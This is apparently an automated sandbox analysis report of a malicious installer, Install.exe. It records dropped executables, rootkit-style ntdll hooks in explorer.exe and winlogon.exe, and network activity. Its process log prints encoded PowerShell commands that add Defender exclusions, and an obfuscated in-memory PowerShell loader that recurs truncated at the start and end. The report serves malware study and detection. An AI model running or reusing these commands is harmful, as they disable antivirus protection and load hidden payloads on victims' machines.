.R.e.f.l.e.c.t.i.o.n...A.s.s.e.m.b.l.y.N.a.m.e.(.'.R.e.f.l.e.c.t.e.d.D.e.l.e.g.a.t.e.'.).).,.[.R.e.f.l.e.c.t.i.o.n...E.m.i.t...A.s.s.e.m.b.l.y.B.u.i.l.d.e.r.A.c.c.e.s.s.].:.:.R.u.n.)...D.e.f.i.n.e.D.y.n.a.m.i.c.M.o.d.u.l.e.(.'.I.n.M.e.'.+.'.m.o.r.y.'.+.'.M.o.d.u.l.e.'.,.$.F.a.l.s.e.)...D.e.f.i.n.e.T.y.p.e.(.'.M.y.D.e.l.e.g.a.t.e.T.y.p.e.'.,.'.C.l.a.s.s.,.P.u.b.l.i.c.,.S.e.a.l.e.d.,.A.n.s.i.C.l.a.s.s.,.A.u.t.o.C.l.a.s.s.'.,.[.M.u.l.t.i.c.a.s.t.D.e.l.e.g.a.t.e.].).;.$.

C:\Windows\Temp\__PSScriptPolicyTest_0aljq3hk.ty5.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Windows\Temp\__PSScriptPolicyTest_jbeqyhc4.p5f.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Windows\Temp\__PSScriptPolicyTest_oz5sx3tu.kvs.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Windows\Temp\__PSScriptPolicyTest_sxsipg5c.ym2.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.9968573054623615
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Install.exe
File size:	4713759
MD5:	280bfd5ea1f41586ea0ef60ee44bc8db
SHA1:	57aa866f42bccbaceed938390001148323d033c1
SHA256:	a6ca5523fce6a4a43964319c35ecb868186465309e9226ab07c158519a5ef6f9
SHA512:	5c2bd96fd1bf0d3c3cfbca97666c9b20a6ae2ee651ad50739d30a24339b90c9f5261c9c5ea93004c4d048d892708a22802f615f5ac8a7464dc07a614366e0bd8
SSDEEP:	98304:keFfhFS2DkSocOZKjg/sN0GkhVT8pxlxE7SSvsaTGN:keFfhxISoJZKs/DjV0xESmeN
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L...Z.Oa.................j.........

File Icon


Icon Hash:	62f1d8ece6f37980

Static PE Info

General

Entrypoint:	0x40352d
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x614F9B5A [Sat Sep 25 21:57:46 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	56a78d55f3f7af51443e58e0ce2fb5f6

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
sub esp, 000003F4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [ebp-14h], ebx
mov dword ptr [ebp-04h], 0040A2E0h
mov dword ptr [ebp-10h], ebx
call dword ptr [004080CCh]
mov esi, dword ptr [004080D0h]
lea eax, dword ptr [ebp-00000140h]
push eax
mov dword ptr [ebp-0000012Ch], ebx
mov dword ptr [ebp-2Ch], ebx
mov dword ptr [ebp-28h], ebx
mov dword ptr [ebp-00000140h], 0000011Ch
call esi
test eax, eax
jne 00007FAAFC52011Ah
lea eax, dword ptr [ebp-00000140h]
mov dword ptr [ebp-00000140h], 00000114h
push eax
call esi
mov ax, word ptr [ebp-0000012Ch]
mov ecx, dword ptr [ebp-00000112h]
sub ax, 00000053h
add ecx, FFFFFFD0h
neg ax
sbb eax, eax
mov byte ptr [ebp-26h], 00000004h
not eax
and eax, ecx
mov word ptr [ebp-2Ch], ax
cmp dword ptr [ebp-0000013Ch], 0Ah
jnc 00007FAAFC5200EAh
and word ptr [ebp-00000132h], 0000h
mov eax, dword ptr [ebp-00000134h]
movzx ecx, byte ptr [ebp-00000138h]
mov dword ptr [00434FB8h], eax
xor eax, eax
mov ah, byte ptr [ebp-0000013Ch]
movzx eax, ax
or eax, ecx
xor ecx, ecx
mov ch, byte ptr [ebp-2Ch]
movzx ecx, cx
shl eax, 10h
or eax, ecx

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8610	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x46000	0x42a8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6897	0x6a00	False	0.666126179245	data	6.45839821493	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x14a6	0x1600	False	0.439275568182	data	5.02410928126	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x2b018	0x600	False	0.521484375	data	4.15458210409	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.ndata	0x36000	0x10000	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x46000	0x42a8	0x4400	False	0.294404871324	data	4.14140312698	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x461f0	0x25a8	dBase IV DBT of `.DBF, block length 9216, next free block index 40, next free block 0, next used block 0	English	United States
RT_ICON	0x48798	0x10a8	dBase IV DBT of @.DBF, block length 4096, next free block index 40, next free block 0, next used block 0	English	United States
RT_ICON	0x49840	0x468	GLS_BINARY_LSB_FIRST	English	United States
RT_DIALOG	0x49ca8	0x100	data	English	United States
RT_DIALOG	0x49da8	0x11c	data	English	United States
RT_DIALOG	0x49ec8	0x60	data	English	United States
RT_GROUP_ICON	0x49f28	0x30	data	English	United States
RT_MANIFEST	0x49f58	0x349	XML 1.0 document, ASCII text, with very long lines, with no line terminators	English	United States

Imports

DLL	Import
ADVAPI32.dll	RegCreateKeyExW, RegEnumKeyW, RegQueryValueExW, RegSetValueExW, RegCloseKey, RegDeleteValueW, RegDeleteKeyW, AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken, SetFileSecurityW, RegOpenKeyExW, RegEnumValueW
SHELL32.dll	SHGetSpecialFolderLocation, SHFileOperationW, SHBrowseForFolderW, SHGetPathFromIDListW, ShellExecuteExW, SHGetFileInfoW
ole32.dll	OleInitialize, OleUninitialize, CoCreateInstance, IIDFromString, CoTaskMemFree
COMCTL32.dll	ImageList_Create, ImageList_Destroy, ImageList_AddMasked
USER32.dll	GetClientRect, EndPaint, DrawTextW, IsWindowEnabled, DispatchMessageW, wsprintfA, CharNextA, CharPrevW, MessageBoxIndirectW, GetDlgItemTextW, SetDlgItemTextW, GetSystemMetrics, FillRect, AppendMenuW, TrackPopupMenu, OpenClipboard, SetClipboardData, CloseClipboard, IsWindowVisible, CallWindowProcW, GetMessagePos, CheckDlgButton, LoadCursorW, SetCursor, GetSysColor, SetWindowPos, GetWindowLongW, PeekMessageW, SetClassLongW, GetSystemMenu, EnableMenuItem, GetWindowRect, ScreenToClient, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, FindWindowExW, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, EmptyClipboard, CreatePopupMenu
GDI32.dll	SetBkMode, SetBkColor, GetDeviceCaps, CreateFontIndirectW, CreateBrushIndirect, DeleteObject, SetTextColor, SelectObject
KERNEL32.dll	GetExitCodeProcess, WaitForSingleObject, GetModuleHandleA, GetProcAddress, GetSystemDirectoryW, lstrcatW, Sleep, lstrcpyA, WriteFile, GetTempFileNameW, CreateFileW, lstrcmpiA, RemoveDirectoryW, CreateProcessW, CreateDirectoryW, GetLastError, CreateThread, GlobalLock, GlobalUnlock, GetDiskFreeSpaceW, WideCharToMultiByte, lstrcpynW, lstrlenW, SetErrorMode, GetVersionExW, GetCommandLineW, GetTempPathW, GetWindowsDirectoryW, SetEnvironmentVariableW, CopyFileW, ExitProcess, GetCurrentProcess, GetModuleFileNameW, GetFileSize, GetTickCount, MulDiv, SetFileAttributesW, GetFileAttributesW, SetCurrentDirectoryW, MoveFileW, GetFullPathNameW, GetShortPathNameW, SearchPathW, CompareFileTime, SetFileTime, CloseHandle, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalFree, GlobalAlloc, GetModuleHandleW, LoadLibraryExW, MoveFileExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, lstrlenA, MultiByteToWideChar, ReadFile, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 27, 2022 01:40:58.721342087 CET	49735	80	192.168.2.4	208.95.112.1
Mar 27, 2022 01:40:58.752830029 CET	80	49735	208.95.112.1	192.168.2.4
Mar 27, 2022 01:40:58.752959013 CET	49735	80	192.168.2.4	208.95.112.1
Mar 27, 2022 01:40:58.753820896 CET	49735	80	192.168.2.4	208.95.112.1
Mar 27, 2022 01:40:58.785864115 CET	80	49735	208.95.112.1	192.168.2.4
Mar 27, 2022 01:40:58.916342020 CET	49735	80	192.168.2.4	208.95.112.1
Mar 27, 2022 01:42:02.109366894 CET	80	49735	208.95.112.1	192.168.2.4
Mar 27, 2022 01:42:02.109472036 CET	49735	80	192.168.2.4	208.95.112.1
Mar 27, 2022 01:42:24.943854094 CET	80	49735	208.95.112.1	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 27, 2022 01:40:58.679579973 CET	60647	53	192.168.2.4	8.8.8.8
Mar 27, 2022 01:40:58.696609020 CET	53	60647	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Mar 27, 2022 01:40:58.679579973 CET	192.168.2.4	8.8.8.8	0xec82	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Mar 27, 2022 01:40:58.696609020 CET	8.8.8.8	192.168.2.4	0xec82	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49735	208.95.112.1	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
Mar 27, 2022 01:40:58.753820896 CET	827	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Mar 27, 2022 01:40:58.785864115 CET	827	IN	HTTP/1.1 200 OK Date: Sun, 27 Mar 2022 00:40:57 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 5 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 74 72 75 65 0a Data Ascii: true

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
ZwEnumerateKey	INLINE	explorer.exe, winlogon.exe
NtQuerySystemInformation	INLINE	explorer.exe, winlogon.exe
ZwResumeThread	INLINE	explorer.exe, winlogon.exe
NtDeviceIoControlFile	INLINE	explorer.exe, winlogon.exe
ZwDeviceIoControlFile	INLINE	explorer.exe, winlogon.exe
NtEnumerateKey	INLINE	explorer.exe, winlogon.exe
NtQueryDirectoryFile	INLINE	explorer.exe, winlogon.exe
ZwEnumerateValueKey	INLINE	explorer.exe, winlogon.exe
ZwQuerySystemInformation	INLINE	explorer.exe, winlogon.exe
NtResumeThread	INLINE	explorer.exe, winlogon.exe
RtlGetNativeSystemInformation	INLINE	explorer.exe, winlogon.exe
NtQueryDirectoryFileEx	INLINE	explorer.exe, winlogon.exe
NtEnumerateValueKey	INLINE	explorer.exe, winlogon.exe
ZwQueryDirectoryFileEx	INLINE	explorer.exe, winlogon.exe
ZwQueryDirectoryFile	INLINE	explorer.exe, winlogon.exe

Processes

Process: explorer.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x93 0x33 0x35 0x5D 0xDF
NtQuerySystemInformation	INLINE	0xE9 0x93 0x33 0x35 0x5B 0xBF
ZwResumeThread	INLINE	0xE9 0x91 0x13 0x35 0x58 0x8F
NtDeviceIoControlFile	INLINE	0xE9 0x97 0x73 0x36 0x64 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x97 0x73 0x36 0x64 0x4F
NtEnumerateKey	INLINE	0xE9 0x93 0x33 0x35 0x5D 0xDF
NtQueryDirectoryFile	INLINE	0xE9 0x91 0x13 0x35 0x5C 0xCF
ZwEnumerateValueKey	INLINE	0xE9 0x97 0x73 0x36 0x61 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x93 0x33 0x35 0x5B 0xBF
NtResumeThread	INLINE	0xE9 0x91 0x13 0x35 0x58 0x8F
RtlGetNativeSystemInformation	INLINE	0xE9 0x93 0x33 0x35 0x5B 0xBF
NtQueryDirectoryFileEx	INLINE	0xE9 0x9E 0xE3 0x33 0x3B 0xBF
NtEnumerateValueKey	INLINE	0xE9 0x97 0x73 0x36 0x61 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x9E 0xE3 0x33 0x3B 0xBF
ZwQueryDirectoryFile	INLINE	0xE9 0x91 0x13 0x35 0x5C 0xCF

Process: winlogon.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x93 0x33 0x35 0x5D 0xDF
NtQuerySystemInformation	INLINE	0xE9 0x93 0x33 0x35 0x5B 0xBF
ZwResumeThread	INLINE	0xE9 0x91 0x13 0x35 0x58 0x8F
NtDeviceIoControlFile	INLINE	0xE9 0x97 0x73 0x36 0x64 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x97 0x73 0x36 0x64 0x4F
NtEnumerateKey	INLINE	0xE9 0x93 0x33 0x35 0x5D 0xDF
NtQueryDirectoryFile	INLINE	0xE9 0x91 0x13 0x35 0x5C 0xCF
ZwEnumerateValueKey	INLINE	0xE9 0x97 0x73 0x36 0x61 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x93 0x33 0x35 0x5B 0xBF
NtResumeThread	INLINE	0xE9 0x91 0x13 0x35 0x58 0x8F
RtlGetNativeSystemInformation	INLINE	0xE9 0x93 0x33 0x35 0x5B 0xBF
NtQueryDirectoryFileEx	INLINE	0xE9 0x9E 0xE3 0x33 0x3B 0xBF
NtEnumerateValueKey	INLINE	0xE9 0x97 0x73 0x36 0x61 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x9E 0xE3 0x33 0x3B 0xBF
ZwQueryDirectoryFile	INLINE	0xE9 0x91 0x13 0x35 0x5C 0xCF

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: Install.exePID: 6752, Parent PID: 5280

General

Target ID:	1
Start time:	01:40:46
Start date:	27/03/2022
Path:	C:\Users\user\Desktop\Install.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Install.exe"
Imagebase:	0x400000
File size:	4713759 bytes
MD5 hash:	280BFD5EA1F41586EA0EF60EE44BC8DB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: ChiefKeefofficialnaxyi_crypted(6).exePID: 6820, Parent PID: 6752

General

Target ID:	2
Start time:	01:40:47
Start date:	27/03/2022
Path:	C:\Users\user\AppData\Roaming\ChiefKeefofficialnaxyi_crypted(6).exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\ChiefKeefofficialnaxyi_crypted(6).exe
Imagebase:	0x400000
File size:	5028144 bytes
MD5 hash:	D55DC38B4EE6BED2168E74194533C572
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 50%, Virustotal, Browse
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 6828, Parent PID: 6820

General

Target ID:	3
Start time:	01:40:48
Start date:	27/03/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff647620000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: 34432.exePID: 6836, Parent PID: 6752

General

Target ID:	4
Start time:	01:40:48
Start date:	27/03/2022
Path:	C:\Users\user\AppData\Roaming\34432.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\34432.exe
Imagebase:	0x770000
File size:	2366976 bytes
MD5 hash:	04F6704BD3AB97905A497BAF3D7FDB3C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: SUSP_NET_NAME_ConfuserEx, Description: Detects ConfuserEx packed file, Source: C:\Users\user\AppData\Roaming\34432.exe, Author: Arnim Rupp
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 35%, Virustotal, Browse Detection: 77%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: AppLaunch.exePID: 6900, Parent PID: 6820

General

Target ID:	5
Start time:	01:40:49
Start date:	27/03/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Imagebase:	0xbe0000
File size:	98912 bytes
MD5 hash:	6807F903AC06FF7E1670181378690B22
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 7012, Parent PID: 6836

General

Target ID:	6
Start time:	01:40:58
Start date:	27/03/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit
Imagebase:	0x7ff7bb450000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 7020, Parent PID: 7012

General

Target ID:	7
Start time:	01:40:59
Start date:	27/03/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff647620000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 7048, Parent PID: 7012

General

Target ID:	8
Start time:	01:40:59
Start date:	27/03/2022
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA"
Imagebase:	0x7ff6ba650000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 6856, Parent PID: 7012

General

Target ID:	20
Start time:	01:41:27
Start date:	27/03/2022
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA="
Imagebase:	0x7ff6ba650000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: nslookup.exePID: 7056, Parent PID: 6836

General

Target ID:	22
Start time:	01:41:36
Start date:	27/03/2022
Path:	C:\Windows\System32\nslookup.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\nslookup.exe
Imagebase:	0x7ff6e2e30000
File size:	86528 bytes
MD5 hash:	AF1787F1DBE0053D74FC687E7233F8CE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 6372, Parent PID: 960

General

Target ID:	23
Start time:	01:41:41
Start date:	27/03/2022
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:oBYZxpoBuJDg{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$hCPAJCDcAnFqJq,[Parameter(Position=1)][Type]$NibVxWxTFc)$qKHXRLjxcQb=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$qKHXRLjxcQb.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$hCPAJCDcAnFqJq).SetImplementationFlags('Runtime,Managed');$qKHXRLjxcQb.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$NibVxWxTFc,$hCPAJCDcAnFqJq).SetImplementationFlags('Runtime,Managed');Write-Output $qKHXRLjxcQb.CreateType();}$uYKrZWxknTiUv=([AppDomain]::CurrentDomain.GetAssemblies()\|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$SpNyfScDlNPPHB=$uYKrZWxknTiUv.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$RRmRtbQVOsCwqbtFCRP=oBYZxpoBuJDg @([String])([IntPtr]);$CSrLsWTvUKtnfJeCoYnQHQ=oBYZxpoBuJDg 